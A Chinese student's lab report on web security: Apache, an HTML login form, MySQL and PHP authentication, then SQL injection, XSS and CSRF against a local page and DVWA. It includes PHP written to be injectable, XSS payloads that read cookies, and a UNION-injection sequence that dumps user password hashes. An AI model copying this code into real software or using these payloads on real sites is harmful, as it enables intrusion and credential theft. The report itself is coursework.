20222326 2024-2025-2 《网络与系统攻防技术》实验八实验报告

1.实验内容

实验内容:

1.Web前端HTML
要求:能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
2.Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
3.Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
4.Web后端:编写PHP网页,连接数据库,进行用户认证
5.最简单的SQL注入,XSS攻击测试
6.安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

本周内容学习基础:

1.web安全基础:

  • 前端:一些名词的介绍 HTML JavaScript(JS) CSS Web前端框架
  • 后端:使用各种库,API,Web服务等技术搭建后端应用体系,确保各种Web服务接口之间的正确通信。与数据库的交互操作。编写语言可以是 C C++ C# python.

2.web安全攻防:

SQL注入:字符串型注入和整数型注入 普通注入和盲注入.

XSS跨站脚本攻击(Cross-site Scripting (XSS)):恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。可以在pikachu靶场中做一些测试,输入一些脚本语言比如
dom型XSS 反射型Xss 存储型Xss

CSRF:CSRF(Cross-site request forgery),跨站请求伪造,缩写为:CSRF/XSRF,它挟持用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

3.Burpsuite工具:web安全测试平台,可以拦截web页面的提交信息,进行分析、尝试暴力破解等等。

2.实验过程

一、Web前端HTML设计

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

1、理解 HTML GET与POST方法 总结:

HTML:即为超文本标记语言,是用于创建网页的标准标记语言。它是由一系列的元素(elements)组成的,这些元素可以通过标签(tags)来表示,用于告诉浏览器如何显示网页的内容。

GET 方法:

  • 数据传递:通过URL参数传递数据。
  • 可见性:数据对用户是可见的,并且可以被书签或者缓存。
  • 长度限制:由于数据是包含在URL中,因此存在一定的长度限制(不同浏览器和服务器可能有不同的限制)。
  • 安全性:不适合传递敏感信息,因为数据会显示在URL中,可能会被记录在浏览历史或服务器日志中。

POST 方法:

  • 数据传递:通过HTTP消息体传递数据,不显示在URL中。
  • 可见性:数据对用户不可见,不能直接通过URL访问。
  • 长度限制:理论上没有长度限制,实际取决于服务器配置。
  • 安全性:相对更安全,因为数据不在URL中显示,也不会被缓存或保存在浏览历史中。

2、正常安装、启停Apache。可以是在kali上或者是在windows上。

在kali上:

kali中是默认安装了Apache的,所以可以直接采用/etc/init.d/apache2 start来开启服务,而后使用systemctl status apache2.service 这个命令来查看apache2服务是否开启。

使用 open http://127.0.0.1/ 在浏览器中打开Apache的默认页面。

在Windows上:可以下载phpstudy集成环境,其中会有apache2服务、MySQL等服务。
【这里会给出下载安装完成后的内容】

【以上就是windows中的服务】

3、编写含有表单的HTML

(1)在kali中进入 /var/www/html这个目录创建一个html文件——login20222326.html文件【注意,只有root权限下才可以对该目录进行访问更改】

文件内容如下:

点击查看代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录表单</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-form {
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        .login-form h2 {
            margin-bottom: 20px;
            text-align: center;
        }
        .form-group {
            margin-bottom: 15px;
        }
        .form-group label {
            display: block;
            margin-bottom: 5px;
        }
        .form-group input {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
        }
        .form-group button {
            width: 100%;
            padding: 10px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .form-group button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>

<div class="login-form">
    <h2>登录</h2>
    <form action="#" method="post">
        <div class="form-group">
            <label for="username">用户名:</label>
            <input type="text" id="username" name="username" required>
        </div>
        <div class="form-group">
            <label for="password">密码:</label>
            <input type="password" id="password" name="password" required>
        </div>
        <div class="form-group">
            <button type="submit">登录</button>
        </div>
    </form>
</div>

</body>
</html>

(2)在浏览器中输入这个命令 127.0.0.1/login20222326.html来进行访问上述HTML表单。如下图

二、Web前端javascipt
理解JavaScript的基本功能,理解DOM。

1、名词理解总结:

(1)JavaScript的基本功能

  • 变量声明:使用 var, let 和 const 关键字来声明变量。
  • 数据类型:包括数字、字符串、布尔值、数组、对象、null 和 undefined 等。
  • 控制结构:例如条件语句(if, else, switch)和循环(for, while, do...while)。
  • 函数:定义可重用的代码块,可以接受参数并返回结果。
  • 事件处理:响应用户的动作或浏览器的动作,比如点击按钮、加载页面等。

(2)DOM的理解

  • 选择元素:使用方法如 document.getElementById(), document.getElementsByClassName(), document.getElementsByTagName() 或更现代的选择器 document.querySelector() 和 document.querySelectorAll()。
  • 创建元素:使用 document.createElement() 创建新的 HTML 元素。
  • 修改元素:改变元素的内容(.innerHTML 或 .textContent)、属性(.setAttribute() 和 .getAttribute())、样式(.style 属性)等。
  • 添加或移除元素:通过 appendChild(), removeChild(), insertBefore() 等方法对元素进行增删。
  • 监听事件:给元素添加事件监听器,例如 element.addEventListener('click', function),以便在特定事件发生时执行相应的代码。

2、使用JavaScript编写html

设计的规则:——验证用户名、密码的规则是用户名、密码不能为空。
(1)测试用户、密码为空:


(2)测试登录后输出 欢迎 +用户名的内容:

html表单代码:

点击查看代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录表单</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
     .login-form {
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
     .login-form h2 {
            margin-bottom: 20px;
            text-align: center;
        }
     .form-group {
            margin-bottom: 15px;
        }
     .form-group label {
            display: block;
            margin-bottom: 5px;
        }
     .form-group input {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
        }
     .form-group button {
            width: 100%;
            padding: 10px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
     .form-group button:hover {
            background-color: #0056b3;
        }
     .message {
            margin-top: 20px;
            text-align: center;
            color: red;
        }
    </style>
</head>
<body>

<div class="login-form">
    <h2>登录</h2>
    <form id="loginForm" action="welcome.php" method="post">
        <div class="form-group">
            <label for="username">用户名:</label>
            <input type="text" id="username" name="username" required>
        </div>
        <div class="form-group">
            <label for="password">密码:</label>
            <input type="password" id="password" name="password" required>
        </div>
        <div class="form-group">
            <button type="submit">登录</button>
        </div>
    </form>
    <div class="message" id="message"></div>
</div>

<script>
    document.getElementById('loginForm').addEventListener('submit', function(event) {
        const username = document.getElementById('username').value.trim();
        const password = document.getElementById('password').value.trim();

        // 简单验证用户名和密码是否为空
        if (username === '') {
            event.preventDefault();
            document.getElementById('message').textContent = '用户名不能为空';
            return;
        }

        if (password === '') {
            event.preventDefault();
            document.getElementById('message').textContent = '密码不能为空';
            return;
        }

        // 若都不为空,正常提交表单,不做注入防范相关处理
        return true;
    });
</script>

</body>
</html>

welcome.php文件代码:

点击查看welcome.php文件代码
<?php
// 获取通过 POST 方式提交的转义后的用户名
$username = isset($_POST['username'])? $_POST['username'] : '';
// 对用户名进行反转义,恢复原始用户名(这里假设前端已经做了正确的转义)
$originalUsername = htmlspecialchars_decode($username, ENT_QUOTES);
// 输出欢迎信息
echo "欢迎 ". $originalUsername;
?>

(3)尝试注入攻击:利用回显用户名注入HTML及JavaScript。

合法的用户名(在上述代码中是只要不为空)会经由php代码块回显,若用户名是恶意脚本也将会被执行,现准备如下恶意脚本Javascrip的payload:
<script>alert("20222326王蓉 successful!")</script>

【可以看出,php文件直接执行了<script>alert("20222326王蓉 successful!")</script>这条语句】

HTML 注入:payload:<h1>网络攻防</h1>


【可以看到回显的内容,“网络攻防”已经执行成里一个h1标题】

三、Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

1.service mysql start 启动数据库mysql。

2.mysql -u root 以root身份登录数据库

3.use mysql 使用mysql 而后输入show databases; 列出MySQL服务器上的所有数据库,查看数据库信息.

4.输入CREATE USER 'wangrong' IDENTIFIED BY '20222326';创建一个名为wangrong的用户,并且该用户可以从任何主机连接到数据库mysql,并使用密码20222326进行身份验证。

5.输入create database 20222326wr;创建数据库20222326wr,在使用use 20222326wr尝试切换到该数据库,测试是否创建成功。

6.输入命令create table 2326table (username VARCHAR(30),password VARCHAR(20));创建一个名为2326table的表,白话来说该表有两列:username和password,数据类型都是VARCHAR但是长度各有不同。创建之后输入show tables;来查看新建的表2326table

7.输入命令INSERT INTO 2326table (username, password) VALUES ('wangrong', '20222326');向表中插入数据。后输入命令SELECT * FROM 2326table;查看2326table表中刚插入的内容。

4.Web后端:编写PHP网页,连接数据库,进行用户认证

1.sql.php内容如下:

点击查看sql.php代码
<?php
// 从POST请求中获取用户名和密码
$username = $_POST["username"];
$password = $_POST["password"];

// 创建一个新的MySQLi对象,连接到指定的数据库服务器及数据库
$conn = new mysqli("localhost", "wangrong", "20222326", "20222326wr");

// 检查连接是否成功,如果失败则输出详细错误信息并终止脚本执行
if ($conn->connect_error) {
    die("数据库连接失败: ". $conn->connect_error);
}

// 使用预处理语句来防止SQL注入
$sql = "SELECT password FROM 2326table WHERE username =? AND password =?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

// 检查查询结果
if ($result->num_rows > 0) {
    echo "欢迎登录: ". htmlspecialchars($username). "!";
} else {
    echo "用户名或密码错误";
}

// 释放相关资源,先关闭结果集,再关闭预处理语句,最后关闭数据库连接
$result->close();
$stmt->close();
$conn->close();
?>

2.对login.html代码也进行了修改

链接的action要改为sql.php

3.测试:
(1)错误的用户名测试:


(2)错误的密码测试:

(3)正确的用户名和密码测试:


五、最简单的SQL注入,XSS攻击测试

1.sql注入:在用户名一栏输入' or 1=1# 密码随意输入123456,成功登录。

2.xss攻击:在用户名一栏输入 <script>alert("xss 20222326");</script> 密码中输入' OR '1'='1成功登录。


【攻击成功!】

但是其实之前的php代码是不能成功的,因为之前的php代码做了一些对于特殊字符啊之类的处理。
使用的php代码:

点击查看代码
<?php
// 从POST请求中获取用户名和密码,不进行任何过滤和验证,方便演示注入攻击
$username = $_POST["username"];
$password = $_POST["password"];

// 创建一个新的MySQLi对象,连接到指定的数据库服务器及数据库
$conn = new mysqli("localhost", "wangrong", "20222326", "20222326wr");

// 检查连接是否成功,如果失败则输出详细错误信息并终止脚本执行
if ($conn->connect_error) {
    die("数据库连接失败: ". $conn->connect_error);
}

// 构造SQL语句时直接拼接输入数据,而不使用预处理语句,这样就容易产生SQL注入漏洞
$sql = "SELECT password FROM 2326table WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql);

// 检查查询结果
if ($result->num_rows > 0) {
    // 直接输出欢迎信息,不进行任何转义,方便演示XSS攻击
    echo "欢迎登录: ". $username;
} else {
    echo "用户名或密码错误";
}

// 关闭数据库连接,这里省略了关闭结果集等更细致的操作,简化示例代码
$conn->close();
?>

六、安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。
由于之前的测试,以及在windows主机上下载安装了DVWA平台,所以这里不展示DVWA的下载安装过程了。
攻击前的环境设置为low。

1.SQl注入
SQL注入:将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

(1)输入1+2,提交可以看到,结果并未输出3,所以可以判定是字符型注入

(2)输入payload:'1 or 1=1' ,判断是否存在sql注入。提交之后有如下报错,可知一定存在sql注入。

(3)使用order by判断字段数 1' order by 2 # 1' order by 3 #,从结果看,只有两个字段。

(4)使用联合查询 1' union select 1,2 # 获取回显位置

(5)输入payload: 1' union select version(),@@version_compile_os# 1' union select database(),2#在对应位置获取数据库名以及操作系统名字

(6)输入payload:1' UNION SELECT table_name COLLATE utf8_general_ci, table_schema COLLATE utf8_general_ci FROM information_schema.tables WHERE table_schema = 'dvwa'#来查看数据库dvwa中都有哪些表。从查询结果来看有两个表guestbook和users这两个

(7)输入payload:1' UNION SELECT 1, GROUP_CONCAT(column_name COLLATE utf8_general_ci) FROM information_schema.columns WHERE table_name='users' AND '1'='1查看users表中的各个字段,我们接下来重点关注user和password字段。

(8)输入payload:1' union select user,password from users # 进行查询用户名以及其对应的password。其中密码是用md5加密的,可以在https://cmd5.com/这个网站进行解密。


【解密admin的对应的密码密文,解密后的明文就是password那个默认密码】
2.XSS攻击:XSS(reflected)反射
(1) 查看源代码,可以看到没有对输入有任何的限制。

(2)输入payload:<script>alert(20222326)</script>尝试javascript攻击。

(3)输入payload:<script>alert(document.cookie)</script>可以成功爆破出cookie.

3.CSRF攻击
(1)先输入一个不一致的密码,观察页面变化


可以看到url为 http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=4567&Change=Change#

(2)构造一个urlhttp://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=20222326&password_conf=20222326&Change=Change#在新的页面打开,内容如下,发现密码修改成功。

3.问题及解决方案

  • 问题1:在创建完HTML后进行一些攻击的时候,发现会攻击不成功,后来是因为在代码中对输入的特殊字符做了限制
  • 问题1解决方案:为了让攻击成功,修改了代码
  • 问题2:在进行dvwa的SQL注入攻击,到查询数据库dvwa中的表时,参考的网上攻击教程中的命令会报错,即union违法使用。
  • 问题2解决方案:这是因为参与 UNION 的两个查询中列的字符集或排序规则不兼容,对注入的Payload语句强制指定相同的字符集和排序规则,即utf8_general_ci 排序规则,这样修改之后就可以查到内容了,也不会报错了。

4.学习感悟、思考等

通过这次实验,我强化了对Web开发的基础知识的了解,从Web前端的HTML和JavaScript到Web后端的PHP编程与MySQL数据库管理,以及使用DVWA或WebGoat平台进行安全测试。实验不仅巩固了我的技术基础,还让我意识到了Web应用中潜在的安全风险。
在Web前端部分,我学习并安装了Apache服务器,掌握了它的启动和停止方法。同时,我对HTML有了更深刻的理解,特别是表单元素及其属性,GET与POST请求方法的区别,并编写了一个含有登录表单的HTML页面。在此基础上,我添加了JavaScript代码来验证用户名和密码规则,在用户点击登录按钮后回显“欢迎+输入的用户名”。此外,我还尝试了利用回显功能注入恶意HTML和JavaScript代码,模拟XSS攻击场景,这使我认识到输入验证的重要性。
对于Web后端,我安装并配置了MySQL数据库系统,学会了创建数据库、用户账户,设置权限等基本操作。熟悉了SQL语句后,我创建了用于存储用户信息的数据表结构。然后,我使用PHP编写了一个简单的用户认证脚本,实现了连接到MySQL数据库查询用户记录的功能,并结合之前的HTML表单完成了从客户端收集数据到服务器端处理的完整流程。
在安全测试环节,我对自己构建的应用进行了最基本的SQL注入和XSS攻击测试,体验到了这些漏洞可能带来的风险。随后,我安装并探索了DVWA或WebGoat平台,按照指南完成了一系列预设的安全挑战,进一步加深了对各类Web攻击手段的认识。

参考资料

posted on 2024-12-12 12:29  20222326王蓉  阅读(13)  评论(0编辑  收藏  举报

导航